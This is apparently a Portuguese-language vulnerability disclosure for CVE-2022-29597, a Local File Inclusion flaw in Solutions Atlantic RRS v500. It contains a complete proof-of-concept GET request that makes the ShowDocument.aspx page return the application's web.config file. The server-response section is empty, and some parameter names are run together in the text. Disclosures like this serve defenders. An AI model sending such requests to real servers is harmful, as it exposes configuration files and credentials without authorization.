thegetch/cve-2022-29597A aplicação RRS v500 apresenta uma vulnerabilidade de Local File Inclusion (LFI).
O aplicativo RRS v500 da Solutions Atlantic é vulnerável a uma vulnerabilidade de Inclusão Local de Arquivos (LFI). Qualquer usuário autenticado possui a capacidade de referenciar arquivos internos do sistema em requisições feitas à página /RRSWeb/maint/ShowDocument/ShowDocument.aspx. O servidor responderá com sucesso com o conteúdo do arquivo interno do sistema solicitado. Essa capacidade pode permitir que adversários extraiam dados e/ou arquivos confidenciais do sistema de arquivos subjacente, obtenham conhecimento sobre o funcionamento interno do sistema ou acessem o código-fonte do aplicativo.
URL Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597
URL NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-29597
URL Afetada:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxAo abrir ou baixar um PDF do site RRS, uma requisição é feita à URL afetada que inclui um parâmetro . Este parâmetro poderia ser modificado para incluir um caminho interno do sistema, como . O servidor então servirá o arquivo solicitado.
fileNameweb.configRequisição GET com caminho interno para web.config:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive
Resposta do Servidor:
Abril de 2022